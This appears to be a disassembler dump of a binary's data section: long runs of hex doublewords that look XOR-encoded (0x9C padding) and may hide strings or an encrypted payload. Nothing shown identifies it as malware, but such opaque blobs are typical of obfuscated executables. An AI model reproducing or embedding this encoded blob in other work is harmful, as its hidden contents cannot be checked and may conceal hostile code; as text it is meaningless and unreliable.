dd 0A8892393h, 9F8C8D1Eh, 8D1D6489h, 97761F8Ch, 5D990814h dd 0F463606Dh, 9C9C9C63h, 7EFF1911h, 11CC6365h, 606D7019h dd 0EE74CC63h, 11636320h, 657EFF19h, 11CACC63h, 606E5C19h dd 0D074CC63h, 1F9C9C9Ah, 19158458h, 63606D20h, 8D1EC03Dh dd 60999F8Ch, 1F8C8D1Dh, 19A79974h, 63606D20h, 9E521993h dd 195B9C9Ch, 63606C34h, 9C9C9C9Dh, 8D1EF83Dh, 9F741F8Ch dd 18935FA5h, 9C9C9DABh, 0F4992393h, 1C8C8D1Dh, 6E209920h dd 93F86360h, 9C9C1F19h, 192A939Ch, 63606E5Dh, 1D648917h dd 5E1F8C8Dh, 144CB585h, 657EFE19h, 192A9363h, 63657EFEh dd 992393CCh, 8C8D1C50h, 0CC99741Fh, 63C9D974h, 1C0C3D63h dd 999F8C8Dh, 8C8D1D78h, 3F9A741Fh, 8C8D1E24h, 0BC992393h dd 0D48C8D1Eh, 9DB94C3Fh, 1ED43D8Ch, 89178C8Dh, 8C8D1EB0h dd 1D88899Fh, 761F8C8Dh, 9908149Fh, 63606E22h, 8D1D743Dh dd 9A741F8Ch, 5C1911CCh, 0CC63606Eh, 634EF774h, 8C581F63h dd 8992393h, 1C8C8D1Ch, 6E219920h, 93FB6360h, 9C9E9B19h dd 9923939Ch, 8C8D1DBCh, 70892393h, 938C8D1Dh, 1EA09123h dd 569D8C8Dh, 149A761Fh, 6E5B9908h, 19116360h, 63606E5Dh dd 808963CCh, 158C9D9Ch, 657EC019h, 0ECF4CC63h, 748C8DC6h dd 63634F8Ch, 0C8992393h, 1F8C8D1Eh, 4C3F9474h, 3D8C9DB9h dd 8C8D1DF8h, 30892393h, 9D8C8D1Ch, 9B741F4Ch, 8D1E243Fh dd 1D883D8Ch, 23938C8Dh, 8D1C3C89h, 1F4C9D8Ch, 11CC9474h dd 606E5C19h, 4D74CC63h, 1F63634Dh, 0E1758858h, 3D9C9C9Dh dd 8C8D1DA8h, 0A794741Fh, 606D2C19h, 1C189363h, 639C9C9Ch dd 8DC7EC89h, 0C019158Ch, 1163657Eh, 606C3019h, 2393CC63h dd 8D1EBC99h, 93CCD48Ch, 1D209923h, 999F8C8Dh, 8C8D1D3Ch dd 0CC99741Fh, 239380F6h, 8D1C2C99h, 63CCD48Ch, 99B69C89h dd 190EF48Ch, 1D748C8Dh, 636363A3h, 657EC029h, 89239363h dd 8C8D1D34h, 0CE955E1Fh, 0C10911CCh, 0CE63657Dh, 0C6B48963h dd 19118C91h, 63657DC1h, 301911CCh, 0CC63606Ch, 6CB08963h dd 581F8C9Ch, 3DAC7780h, 8C8D1D88h, 0CC995C1Fh, 6C301911h dd 74CC6360h, 63636561h, 8D1916F4h, 0A3B6748Ch, 11CC6363h dd 606C3009h, 8963CE63h, 8C9C6CB0h, 9388581Fh, 1DB09923h dd 741F8C8Dh, 1CF4CC99h, 0F69C9C9Ch, 1DA03D9Eh, 741F8C8Dh dd 2393CC95h, 8D1C2C99h, 8923938Ch, 8C8D1C3Ch, 741F4C9Dh dd 9CF4CC94h, 11DC9C9Ch, 606C3019h, 8963CC63h, 8C8DF084h dd 7FF81915h, 23936365h, 8D1D7099h, 999F8Ch, 1F8C8D1Ch dd 11CC9674h, 606D2819h, 11CACC63h, 606E5C19h, 2963CC63h dd 63657FF8h, 0EC808963h, 29638C8Dh, 63657FF8h, 0D6D48963h dd 43D8C95h, 9F8C8D1Dh, 8D1D9499h, 99741F8Ch, 6D2C19A5h dd 83E96360h, 191199F6h, 63606C30h, 88963CCh, 938C9DBCh dd 7FFF192Ah, 74CC6365h, 6363ED9Ah, 749977C5h, 636320D8h dd 6D242963h, 89636360h, 8C95D6D4h, 6C34211Fh, 0E89C6360h dd 94E96395h, 6C908963h dd 0C2C38C9Ch, 745F55C7h, 6363DD34h, 8D191CF4h, 0A2B2748Ch dd 74CC6363h, 63631ADFh, 91C6B83Fh, 19E9F48Ch, 85748C8Dh dd 0CC6363A2h, 631AB274h, 8C581F63h, 91C6B43Fh, 15C95F8Ch dd 0F4701D79h, 0CF9C9C9Eh, 47ADCBCAh, 639CF6DFh, 91C6B889h dd 19F1F48Ch, 75748C8Dh, 636363A1h, 11CC94E9h, 63612221h dd 8963CB63h, 8C91C6B4h, 1188581Fh, 63625E19h, 1911CC63h dd 63636122h, 0B48963CCh, 158C95AFh, 63612419h, 78911763h dd 1F8C8D1Dh, 54A5665Dh, 9D111993h, 243D9C9Ch, 998C8D1Dh dd 9C9F91A4h, 1C7C999Fh, 0D9A58C8Dh, 3D91EBB0h, 8C8D1DA4h dd 0A59F741Fh, 99EAB4D9h, 9C9ED875h, 1D0C3D9Ch, 68998C8Dh dd 939C9C9Fh, 1D308923h, 4C9D8C8Dh, 0EFB0D9A5h, 99239389h dd 8C8D1EBCh, 9C9C3F99h, 0B0D9A59Ch, 9E8B1993h, 0D9119C9Ch dd 0D911CCBCh, 8963CC8Ch, 8C8DF08Ch, 613C1915h, 23936363h dd 8D1DC099h, 44999F8Ch, 1F8C8D1Dh, 19A59674h, 6363613Ch dd 211191E1h, 63636104h, 39BCE911h, 11977739h, 63610421h dd 8CE91163h, 19113939h, 63636134h, 41911CCh, 0CC636361h dd 0C7E48963h, 2B938C8Dh, 63612E19h, 92B9363h, 63636134h dd 1C209117h, 5D1D8C8Dh, 9C9B7466h, 1D38919Fh, 33938C8Dh dd 934C9D4Dh, 612C092Bh, 91176363h, 8C8D1EB0h, 93A75D1Fh dd 4C9D4D33h, 32092B93h, 17636361h, 8D1D6891h, 45D1D8Ch dd 9F9C9C99h, 8D1E9891h, 4D33938Ch, 2B934C9Dh, 63613609h dd 0A4911763h, 1D8C8D1Dh, 9C34205Dh, 0E8919F9Ch, 938C8D1Dh dd 4C9D4D33h, 61381915h, 0AC3D6363h, 178C9C6Ch, 63613809h dd 0B55D1563h, 0A923934Dh, 8C8D1E88h, 0A58D5A1Fh, 0BE1F936Dh dd 0A59C9C9Dh, 861B935Eh, 3D9C9C9Dh, 8C8D1DCCh, 9C9C0799h dd 8923939Ch, 8C8D1D14h, 0D9A74C9Dh, 0F68EE8B0h, 94E9639Ch dd 636BFB74h, 94581F63h, 9C9C6C75h, 639DF69Ch, 0C97494E9h dd 1F63636Bh, 42759458h, 3D9C9C9Ch, 8C8D1C60h, 78892393h dd 9D8C8D1Ch, 99201C4Ch, 63636270h, 221893B2h, 0F49C9C9Ch dd 8C8D19F8h, 63A76B74h, 72211163h, 0CB636362h, 0CC94E963h dd 61222111h, 63CB6363h, 91C6B489h, 5E29118Ch, 1D636362h dd 9C9DDC70h, 257B159Ch, 9C9C9C03h, 1139FA6Fh, 63612221h dd 2F74CB63h, 1D636361h, 9C9DC458h, 11EE779Ch, 63625E19h dd 2963CC63h, 63636124h, 93548963h, 5F158C9Dh, 0C1E84795h dd 8D1D743Dh, 99201C8Ch, 6363627Bh, 0F4D6E8B2h, 8C8D19C7h dd 63A71F74h, 72211163h, 0CB636362h, 0CC94E963h, 61222111h dd 63CB6363h, 91C6B489h, 5E29118Ch, 1D636362h, 9C9DDC70h dd 257B159Ch, 9C9C9C03h, 1139FA6Fh, 63612221h, 0A374CB63h dd 1D636361h, 9C9DC458h, 0E947959Ch, 0C7C2C316h, 15C95F55h dd 1D5C3D79h, 999F8C8Dh, 8C8D1D90h, 0A595741Fh, 9DB92499h dd 0F497EA8Ch, 8C9DB924h, 6C888963h, 243D8C9Ch, 0C18C9DB9h dd 249C985Eh, 1C9CDC9Dh, 0C99C945Eh, 701F7915h, 0CBCACFC0h dd 1794E917h, 5C1F90D9h, 1F9FE1DCh, 645DA35Ch, 60D9159Ah dd 9CF498F6h, 159C9C8Ch, 9A7B5D5Bh, 639CF6CBh, 99AF8089h dd 74D9158Ch, 1C0C9117h, 5D1F8C8Dh, 9F5415AAh, 8D1DB899h dd 60F96B8Ch, 0CC38D915h, 6374E963h, 9C6CA489h, 90E9638Ch dd 74E963CAh, 0D5888963h, 0D9118C95h, 0F774CC70h, 1F636341h dd 0E9178C58h, 1DD03D74h, 5F158C8Dh, 1D44819Fh, 771F8C8Dh dd 0CABE7791h, 0CC70D911h, 63A2B474h, 94581F63h, 34992393h dd 178C8D1Dh, 8D1C2889h, 8CD8118Ch, 9AA811A0h, 60C1A7DFh dd 0D91145EEh, 0E963CC34h, 0AFC4748Ch, 9CF46363h, 939C9C1Ch dd 1D309923h, 741F8C8Dh, 0E963CC9Ah, 8C896374h, 3D8C95D5h dd 8C8D1C00h, 9F985C1Fh, 8D1DE099h, 0D911CC8Ch, 0D911CC70h dd 8963CC34h, 8C91C6DCh, 9388581Fh, 1D80A123h, 23938C8Dh dd 8D1D8C81h, 0D3439D8Ch, 99E85BA5h, 77DC5CADh, 0C35CAD9Eh dd 5F55C7C2h, 747915C9h, 63630CFAh, 8D1E943Dh, 4066998Ch dd 23939CF1h, 8D1EA889h, 0CC4C9D8Ch, 0C6B88963h, 77C58C91h dd 985EC142h, 7915C99Ch, 0CBCACFCDh, 1590C117h, 98735D43h dd 91176415h, 8C8D1D18h, 939B5D1Fh, 1EDC8923h, 4D9D8C8Dh dd 0D9157D6Bh, 0B5421560h, 0E081175Ah, 1F8C8D1Dh, 6D159877h dd 7A4F4215h, 9394C117h, 15E7802Bh, 0A56BBD43h, 1795E96Bh dd 8D1D94A1h, 8F77D38Ch, 8D1D883Dh, 8923938Ch, 8C8D1D1Ch dd 4B9D5B15h, 1598731Fh, 0C7C2C364h, 15C95F55h, 84701D79h dd 0CF9C9C9Fh, 0E917CBCAh, 90C11794h, 1D48A117h, 731F8C8Dh dd 9E8E7595h, 82F49C9Ch, 748C8D19h, 6363A5A8h, 911CCCBh dd 63636061h, 0B48963CEh, 938C91C6h, 1C309923h, 65998C8Dh dd 159C9C9Ch, 63616019h, 1990F463h, 95748C8Dh, 116363A5h dd 63607009h, 911CE63h, 63636160h, 9D0911CEh, 0CE636363h dd 610911CCh, 0CE636360h, 9C9C9DF4h, 1253741Ch, 581F6363h dd 6C1915B0h, 19636360h, 3818935Ch, 119C9C9Dh, 63629E19h dd 1911CC63h, 6363639Fh, 78C974CCh, 4C3D6363h, 9F8C8D1Ch dd 8D1D6899h, 94741F8Ch, 9E1911CCh, 0CC636362h, 31A974CFh dd 581F6363h, 40891788h, 1D8C8D1Ch, 9C63695Eh, 9123939Ch dd 8C8D1C08h, 5EA5569Dh, 9DC91893h, 32F49C9Ch, 748C8D18h dd 6363A4E4h, 911CCC5h, 6363639Dh, 99EE74CEh, 0F83D9C9Ch dd 1F8C8D1Eh, 19159F74h, 63636064h, 1917B077h, 63636064h dd 9D99201Ch, 0BF636363h, 19178AE9h, 63636064h, 1C408917h dd 761F8C8Dh, 9908149Bh, 6363639Dh, 60641963h, 211D6363h dd 63636064h, 9C9C9C63h, 903D54EEh, 1F8C8D1Dh, 19159574h dd 63636068h, 8D1D743Dh, 9C65998Ch, 19159C9Ch, 63636160h dd 60701911h, 11CC6363h, 63616019h, 1911CC63h, 6363629Eh dd 681917CCh, 11636360h, 639D9918h, 11CC6363h, 63606119h dd 9DF4CC63h, 741C9C9Ch, 63631121h, 1584581Fh, 63606C19h dd 0E95C1963h, 1D783D84h, 999F8C8Dh, 8C8D1DA0h, 1D608917h dd 8148C8Dh, 63616899h, 68191763h, 15636360h, 63607419h dd 99101163h, 6363639Dh, 0DC63541Fh, 9C9DA01Ch, 111765E9h dd 63636074h, 11155D9Dh, 63636068h, 629E1911h, 0CACC6363h dd 6CB08963h, 581F8C9Ch, 1835F494h, 0F9748C8Dh, 1F6363ABh dd 0CACC9858h, 6CB08963h, 581F8C9Ch, 68196394h, 3D636360h dd 8C8D1C48h, 1EF8999Fh, 741F8C8Dh, 68091796h, 93636360h dd 9D89082Ah, 0A5636363h, 8519934Ch, 0DB636363h, 8D1E843Dh dd 815C1F8Ch, 1E935BA5h, 63636142h, 55C7C2C3h, 7915C95Fh dd 9EC0701Dh, 0CACF9C9Ch, 94C117CBh, 9C8CE11Fh, 0D83D8FE8h dd 1F8C8D1Eh, 19159B74h, 63636124h, 9C9C1975h, 90C9179Ch dd 1C589117h, 919F8C8Dh, 8C8D1D94h, 0A597751Fh, 0B97C0990h dd 88E98C9Dh, 208963CAh, 3D8C9DB9h, 8C8D1D3Ch, 8963CCDCh dd 8C8DC6FCh, 58992393h, 1F8C8D1Dh, 1915C15Ch, 63636124h dd 8D183DF4h, 0AA3A748Ch, 0E9636363h, 911CC90h, 63636136h dd 0B48963CEh, 1F8C91C6h, 19118C58h, 63636136h, 0F88963CCh dd 1F8C8DC6h, 8AE99F64h, 8D1DA43Dh, 9DB4998Ch, 999F9C9Ch dd 8C8D1D28h, 61241915h, 63AD6363h, 1806F4DBh, 0C1748C8Dh dd 0CF6363AAh, 220911CCh, 0CE636361h, 0C6B48963h, 581F8C91h dd 1F45158Ch, 1CDC6354h dd 0E99C9DA0h, 28191565h, 17636361h, 8D1E8089h, 18899F8Ch dd 1F8C8D1Dh, 4CB59F76h, 0B29FA01Ch, 9C351993h, 19179C9Ch dd 63636128h, 9398741Fh, 0CC9F9822h, 6CA08963h, 581F8C9Ch dd 145E1598h, 63613509h, 28191763h, 1F636361h, 22939E74h dd 63CC9F98h, 9C6CA089h, 98581F8Ch, 9145E15h, 63636134h dd 61281917h, 741F6363h, 9822939Fh, 8963CC9Fh, 8C9C6CA0h dd 1598581Fh, 3B09145Eh, 1C636361h, 63613521h, 0BDE9D963h dd 6134211Ch, 0E9D96363h, 3B211C84h, 0C4636361h, 296393E9h dd 63636124h, 0D29074CFh, 581F6363h, 34211C94h, 0D7636361h dd 211C85E9h, 6363613Bh, 1C8CE9D2h, 63613521h, 9BE9D063h dd 0DEB474CFh, 11C56363h, 63625E19h, 1911CC63h, 63636122h dd 0B48963CCh, 158C95AFh, 1DB83D5Ah, 5C1F8C8Dh, 0CC999F6Eh dd 0A58C8D1Dh, 7D18936Ch, 3D9C9C9Ch, 8C8D1DC8h, 1DE8999Fh dd 201C8C8Dh, 63627A99h, 1893B263h, 9C9C9C5Ch, 8D180DF4h dd 0A9BA748Ch, 9116363h, 63636272h, 11CCCFCEh, 63612209h dd 8963CE63h, 8C91C6B4h, 638CE963h, 191190E9h, 63636122h dd 617B74CCh, 581F6363h, 9C1A75BCh, 19119C9Ch, 6363625Eh dd 8963CACCh, 8C9D9354h, 23935B15h, 8D1EF499h, 64999F8Ch dd 1F8C8D1Dh, 5BA59674h, 0B03D80E9h, 9F8C91C6h, 63612419h dd 8963CC63h, 8C91C6B8h, 8963CAC5h, 8C9DB920h, 2393D277h dd 8D1EC899h, 99201C8Ch, 6363627Ah, 0F4A9E8B2h, 8C8D1814h dd 63A80774h, 72091163h, 0CE636362h, 911CCCFh, 63636122h dd 0B48963CEh, 638C91C6h, 0E9638CE9h, 22191190h, 0CC636361h dd 6361C074h, 0BC581F63h, 19936395h, 636363EEh, 55C7C2C3h dd 7915C95Fh, 0CBCACFCDh, 3D94C117h, 8C8D1C00h, 0DC892393h dd 158C8D1Eh, 1F4A9D5Ah, 23939472h, 8D1C7899h, 8923938Ch dd 8C8D1EA8h, 4B9D5B15h, 7798731Fh, 882B93F9h, 90D117E7h dd 0E5902B93h, 6EB556B5h, 9360C915h, 1C509923h, 23938C8Dh dd 8D1DC089h, 1F4C9D8Ch, 0D9A59474h, 3DBFE160h, 8C8D1ECCh dd 0A99F5A15h, 8C8D1C54h, 1D0C3DD2h, 6E998C8Dh, 9F9C9C63h dd 8D1C2499h, 60D99D8Ch, 783D8C77h, 158C8D1Dh, 0ACA99F5Ah dd 1F8C8D1Dh, 0C9179472h, 8815FA60h, 43DDBE7h, 1F8C8D1Ch dd 5BA5825Ch, 0C2C313EEh, 245F55C7h, 1C9CDC9Dh, 0C9C945Eh dd 9C701DC5h, 0B19C9C8Ch, 9C9C8C9Ch, 0A1B89819h, 9C9C8C9Ch dd 58B577EFh, 0CDB89819h, 1FC4C55Fh, 745D9F5Ch, 9E7C5D9Eh dd 9C8C9CA1h, 1582E09Ch, 9847CC7Eh, 0B89015B8h, 74B89847h dd 6363635Ch, 47CE4815h, 9017B880h, 0B88047B8h, 1558B5C4h dd 9C9C5B7Ch, 0CD9C9C9Ch, 9C9C5FCDh, 5EDC5CADh, 9C9C9C90h dd 0B8A045CCh, 93B89817h, 94B8A826h, 0B8901DFAh, 0B0459E9Ch dd 7C14C5B8h, 5F9F7C1Fh, 0B8A045CCh, 0CC6F77C4h, 17B8A045h dd 1DFAB898h, 9F9CB890h, 9C9C7C77h, 9C701DC5h, 0B19C9C8Ch dd 9C9C8C9Ch, 0A1B89819h, 9C9C8C9Ch, 58B577EFh, 63B89819h dd 9C9C9C7Dh, 94B8C817h, 63255CADh, 1B636363h, 6B326E66h dd 63D51145h, 94B8D817h, 0B8E0170Ah, 0A386F98h, 0D8174B1Bh dd 945E98B8h, 9C9C9C9Ch, 3C30B963h, 0C0C8C8Dh, 9C9C9C9Ch dd 3C2CB963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C28B963h, 0C0C8C8Dh dd 9C9C9C9Ch, 3C5CB963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C58B963h dd 0C0C8C8Dh, 9C9C9C9Ch, 3C54B963h, 0C0C8C8Dh, 9C9C9C9Ch dd 3C50B963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C4CB963h, 0C0C8C8Dh dd 9C9C9C9Ch, 3C48B963h, 0C0C8C8Dh, 9C9C9C9Ch, 3C44B963h dd 0C0C8C8Dh, 9C9C9C9Ch, 3C40B963h, 0C0C8C8Dh, 6Eh dup(9C9C9C9Ch) dd 8C9C75DCh, 5 dup(9C9C9C9Ch), 9C9CEFB9h, 9CEE9CEBh, 1Ch dup(9C9C9C9Ch) dd 9C9C9C9Dh, 9C9C9C9Fh, 9C9C9C9Eh, 2 dup(9C9C9C9Bh), 9C9C9C95h dd 9C9C9C94h, 9C9C9C9Bh, 9C9C9C9Dh, 9C9C9C98h, 9C9C9C94h dd 9C9C9C9Ch, 9C9C9C9Dh, 9C9C9C95h, 9C9C9C9Ch, 9C9C9C99h dd 9C9C9C98h, 9C9C9C9Bh, 9C9C9C95h, 9C9C9C9Bh, 9C9C9C9Dh dd 9C9C9C9Ch, 9C9C9C9Bh, 9C9C9C9Ch, 9C9C9C9Fh, 9C9C9C9Eh dd 9C9C9C98h, 9C9C9C9Eh, 9C9C9C9Ch, 9C9C9C99h, 9C9C9C9Eh dd 9C9C9C95h, 9C9C9C9Dh, 9C9C9C9Eh, 9C9C9C95h, 9C9C9C9Ch dd 9C9C9C9Fh, 9C9C9C95h, 9C9C9C9Bh, 9C9C9C99h, 9C9C9C9Fh dd 9C9C9C94h, 9C9C9C9Fh, 9C9C9C95h, 9C9C9C99h, 9C9C9C9Dh dd 9C9C9C9Bh, 9C9C9C9Ah, 9C9C9C98h, 9C9C9C9Bh, 9C9C9C9Dh dd 9C9C9C9Fh, 9C9C9C99h, 9C9C9C9Ch, 9C9C9C98h, 9C9C9C95h dd 2 dup(9C9C9C9Dh), 9C9C9C9Fh, 9C9C9C99h, 9C9C9C9Eh, 9C9C9C94h dd 9C9C9C99h, 9C9C9C9Ch, 9C9C9C9Ah, 9C9C9C9Bh, 9C9C9C9Fh dd 9C9C9C9Bh, 9C9C9C9Ch, 9C9C9C9Ah, 9C9C9C9Ch, 9C9C9C9Ah dd 9C9C9C9Bh, 9C9C9C9Dh, 9C9C9C9Bh, 9C9C9C99h, 9C9C9C9Ch dd 2 dup(9C9C9C9Bh), 9C9C9C9Ah, 9C9C9C9Fh, 9C9C9C95h, 9C9C9C9Bh dd 2 dup(9C9C9C95h), 9C9C9C99h, 9C9C9C9Bh, 9C9C9C9Fh, 9C9C9C95h dd 9C9C9C99h, 9C9C9C9Bh, 9C9C9C9Ch, 2 dup(9C9C9C9Fh), 9C9C9C9Eh dd 9C9C9C9Ch, 2 dup(9C9C9C9Fh), 9C9C9C9Dh, 9C9C9C9Ch, 9C9C9C9Dh dd 9C9C9C9Eh, 9C9C9C9Ah, 9C9C9C9Dh, 9C9C9C99h, 9C9C9C98h dd 9C9C9C95h, 9C9C9C9Fh, 9C9C9C9Dh, 9C9C9C9Bh, 9C9C9C98h dd 9C9C9C99h, 9C9C9C9Eh, 9C9C9C94h, 9C9C9C9Dh, 9C9C9C99h dd 9C9C9C95h, 2 dup(9C9C9C9Fh), 9C9C9C94h, 9C9C9C99h, 9C9C9C9Dh dd 12h dup(9C9C9C9Ch), 8C9C161Dh, 8C9C8371h, 8C9C037Ah dd 8C9CFEF9h, 8C9C5A0Eh, 8C9CC815h, 8C9C0170h, 9C9C9C9Ch dd 8C9CBB48h, 8C9C4852h, 8C9C89E6h, 8C9C7447h, 8C9CC52Bh dd 8C9CEF9Ah, 8C9C5B51h, 8C8D1E7Ch, 9C9C9C9Ch, 8C9CC5D0h dd 8C9CD387h, 8C9C7DC6h, 8C9C7D1Bh, 8C9C8434h, 8C9CC010h dd 8C9CF68Fh, 8C8D1F98h, 4BF638E4h, 745B2BCAh, 0B8BCEC47h dd 5D215272h, 69E09333h, 0DB1B5AB6h, 34ACDA8Fh, 61DA099Dh dd 0F51C0444h, 17D86B33h, 6363C72Dh, 15C04B22h, 0F70C8DBEh dd 6104ED0Fh, 3AE5DF12h, 0D52894BDh, 6A82B9FEh, 5CDC2FDCh dd 0BAC2C6CDh, 752A5B36h, 4AB38CC1h, 9ED888CFh, 443D7A1Dh dd 7B4F6754h, 0BD7D517Ah, 5FAB9B4Ah, 6849911Bh, 0D9C68871h dd 357F7599h, 60733F64h, 0FBF39E45h, 11B6D016h, 6366A5DEh dd 1BED6A1Dh, 0F101FDBEh, 6179A490h, 382276D8h, 0D7425335h dd 6A27D7FCh, 222320ECh, 0B407E25Ah, 763DBB66h, 4873AC19h dd 98148199h, 45484CA5h, 7A470579h, 833EE064h, 5830CAF9h dd 68B5BED8h, 0DFB6630Bh, 3708BF3Bh, 600F3CA5h, 0F9C7C55Fh dd 1390500Eh, 637368E1h, 1918C14Dh, 0F334E2D3h, 62B07A7Ch dd 3F9DDF88h, 0D2948D3Dh, 6BCFE21Eh, 21A66EA9h, 0B64B4E27h dd 771A4F0Dh, 8C9C05D7h, 8C9C05CAh, 8C9C053Bh, 8C9C0561h dd 0E8F5F2D5h, 0F5F0FDF5h, 0EEDFF9E6h, 0FFF5E8F5h, 0F9CFF0FDh dd 0F3F5E8FFh, 0EEDF9CF2h, 0F9E8FDF9h, 0F9EEF4C8h, 0D09CF8FDh dd 0F9EAFDF9h, 0E8F5EEDFh, 0F0FDFFF5h, 0E8FFF9CFh, 9CF2F3F5h dd 0F9E8F2D9h, 0F5EEDFEEh, 0FDFFF5E8h, 0FFF9CFF0h, 0F2F3F5E8h dd 9C9C9C9Ch, 7D589C99h, 42B7D2Bh, 8A9C999Ch, 0F9AFF9AFh dd 9C9F9CD6h, 0DD84D2F7h, 59C989Ch, 593F6620h, 809C9D9Ch dd 9CC69CFCh, 0F6F6D495h, 0E1FBE0FAh, 0F8F4DBB5h, 0DAC5B6F0h dd 0C6B5A6C5h, 0F0E3E7F0h, 0D8C6B6E7h, 0C6B5C5C1h, 0F0E3E7F0h dd 0D8C6B6E7h, 0D1B5C5C1h, 0F9E5E6FCh dd 0DBB5ECF4h, 0B6F0F8F4h, 0C5C1D8C6h, 0F4F8D0B5h, 0D4B5F9FCh dd 0F0E7F1F1h, 0C5B6E6E6h, 0B5A6C5DAh, 0E7F0E6C0h, 0F8F4DBB5h dd 9CB6B6F0h, 6E3E9C92h, 1E0D6E71h, 4D4D5F6Eh, 5A4C5149h dd 9CA59C0Ch, 0AFA6BAE9h, 0BBA8BEBDh, 80A4B5ACh, 9A869B8Ah dd 0B59D8F86h, 8C9D87A0h, 9D8C879Bh, 8A8AA8C9h, 9D879C86h dd 8788A4C9h, 9B8C8E88h, 8A8AA8B5h, 9D879C86h, 0D9CCB59Ah dd 999C91D1h, 355709Ch, 9C03552Ch, 0B89D9C99h, 0EEB8C1EEh dd 189C989Ch, 32446B3Dh, 789C9B9Ch, 110A080Bh, 9C1E0C16h dd 306F9C9Ah, 0A0A031Ch, 9C989C1Fh, 8E8BC1EFh, 9C979C9Bh dd 0B1E4C894h, 0E1B1CBE1h, 0F8F8F0BAh, 349C9E9Ch, 9D9C1414h dd 9CBC939Ch, 1D709C8Eh, 1C041303h, 4032F03h, 3050411h dd 43021112h, 9C929C42h, 13102571h, 151F1826h, 1D32061Eh dd 9C020210h, 0F5B39C92h, 0F5D7DDDAh, 0C7C0C1DAh, 0D6DFDAF5h dd 9C959CF2h, 494E6127h, 484B6443h, 919C4254h, 0C7E5A29Ch dd 0D0C7F4D6h, 0CCCDCBD1h, 9CE3DAE7h, 5E099C8Fh, 4A6C6D60h dd 5D7B6861h, 657C4466h, 704B607Dh, 979C6C7Dh, 0FCCD8E9Ch dd 0EBFAEFEBh, 0EBE2E7C8h, 9C979CCFh, 0B9AC93DCh, 0B3AE8CB2h dd 0AFAFB9BFh, 659C919Ch, 3F091137h, 280A1700h, 170A0800h dd 9C9B9C1Ch, 0DED9E7B0h, 0D3D5C8F5h, 529C8E9Ch, 11263715h dd 37202027h, 3A06263Ch, 36333720h, 959C361Bh, 0E9C5869Ch dd 0EFC0FFF6h, 9CC7E3EAh, 0FFBC9C90h, 0C8DDD9CEh, 0C8C9F1D9h dd 9CFDC4D9h, 55129C8Ch, 7D516677h, 6667627Fh, 735C6077h dd 9C53777Fh, 84D79C92h, 0BE91A3B2h, 0B887B2BBh, 0B2A3B9BEh dd 9C8F9CA5h, 0ABBA98DFh, 0ABACA68Ch, 0B69BB2BAh, 0ABBCBAADh dd 9EA6ADB0h, 119C919Ch, 55657456h, 74677863h, 74616845h dd 9C909C50h, 0D0C1E3A4h, 0D4C9C1F0h, 0CCD0C5F4h, 9C919CE5h dd 49587A3Dh, 494E446Eh, 54695058h, 899C5850h, 4260279Ch dd 4B487153h, 6E424A52h, 55484149h, 4E53464Ah, 9C664948h dd 1A5C9C88h, 8393035h, 8393135h, 2F250F33h, 8313928h dd 9C393135h, 0AFE29C8Fh, 8B968E97h, 87969BA0h, 8BB58DB6h dd 8AA18786h, 889C9083h, 0F7D0999Ch, 0F5EBFCEDh, 0FCF2FAF6h dd 0FAFCDDFDh, 0FCF4FCEBh, 959CEDF7h, 21024E9Ch, 8222F2Dh dd 9C2B2B3Ch, 73379C97h, 43525B52h, 5B5E7152h, 949C7652h dd 0A1BED29Ch, 0B7BEA0A6h, 969C85BCh, 0EAC9859Ch, 0C4E9E4E6h dd 0E6EAE9E9h, 0A49C979Ch, 0C1C1D6E2h, 0D6C6CDE8h, 9CDDD6C5h dd 0EEA99C97h, 0C0EFDDCCh, 0C0FACCC5h, 909CCCD3h, 98A7F19Ch dd 90848583h, 9D9DB09Dh, 909C929Eh, 4664239Ch, 404A7757h dd 564C6048h, 919C574Dh, 557A3C9Ch, 59725852h, 557A4844h dd 9C7D5950h, 743D9C88h, 4F584953h, 565E5251h, 53745958h dd 50584F5Eh, 9C495358h, 0B2F19C93h, 90819C9Eh, 98B79483h dd 98A5949Dh, 8F9C949Ch, 0E2D4839Ch, 0ECC5F7EAh, 0EDEAD0F1h dd 0CCE6EFE4h, 0E0E6E9E1h, 9C929CF7h, 6173572h, 13111D3Eh dd 1C3B171Eh, 9C331D14h, 2F689C8Fh, 1D2B1C0Dh, 60D1A1Ah dd 71A381Ch, 1B1B0D0Bh, 8E9C0C21h, 0A587C09Ch, 0A4AF8DB4h dd 86A5ACB5h, 8EA5ACA9h, 81A5ADA1h, 0C09C949Ch, 0A4A1A592h dd 0A5ACA986h, 569C969Ch, 223F2E13h, 33243E02h, 8B9C3237h dd 1521679Ch, 9220202h, 8150E11h, 9020A09h, 15133413h dd 1400090Eh, 9C8D9C26h, 41507235h, 415C4D70h, 50515A76h dd 50475D61h, 979C5154h, 0EDD2849Ch, 0E5F1F0F6h, 0E1F6C2E8h dd 9C959CE1h, 8E95B0E7h, 8EA18293h, 909C828Bh, 0CFF9AA9Ch dd 0D8D8EFDEh, 0C5E7D8C5h, 8D9CCFCEh, 3715529Ch, 213B1626h dd 37201439h, 33220137h, 9C133731h, 4439C8Ah, 2D063726h dd 2C312A35h, 2D262E2Dh, 31371037h, 30242D2Ah, 9C909C02h dd 0D2C3E1A6h, 0D4C3D5F3h, 0C3CBC7E8h, 9C899CE7h, 303E1B5Ah dd 0E2E292Fh, 343F3135h, 2C33280Ah, 3D3F3633h, 8E9C293Fh dd 7F5D1A9Ch, 7E73496Eh, 5B786F49h, 75726E6Fh, 636E7368h dd 0BE9C919Ch, 0F1D9DBECh, 0F5D0DBCEh, 0C6FBC7DBh, 9C979CFFh dd 0FFFDCA98h, 0EBF7F4DBh, 0E1FDD3FDh, 369C899Ch, 5D59597Ah dd 44664643h, 5A5F405Fh, 60535153h, 53435A57h, 9C8C9C77h dd 0DCDEE9BBh, 0C9DECEEAh, 0D7DAEDC2h, 0C3FEDECEh, 9C859CFAh dd 0FCEDDB88h, 0FDEBEDDBh, 0F1FCE1FAh, 0EBFBEDCCh, 0FCF8E1FAh dd 0E9CCFAE7h, 809CE4EBh, 0DCFBB29Ch, 0D3DBC6DBh, 0D7C8DBDEh dd 0C7D1D7E1h, 0CBC6DBC0h, 0D1C1D7F6h, 0C6C2DBC0h, 8C9CC0DDh dd 142B649Ch, 16340A01h, 1701070Bh, 0F0B3017h, 8C9C0A01h dd 0E7D1829Ch, 0EEEBC4F6h, 0E1E7D1E7h, 0F6EBF0F7h, 859CC3FBh dd 7654139Ch, 777A4067h, 7D76775Ah, 7A757A67h, 66526176h dd 617C7B67h, 9C6A677Ah, 0E6A19C8Bh, 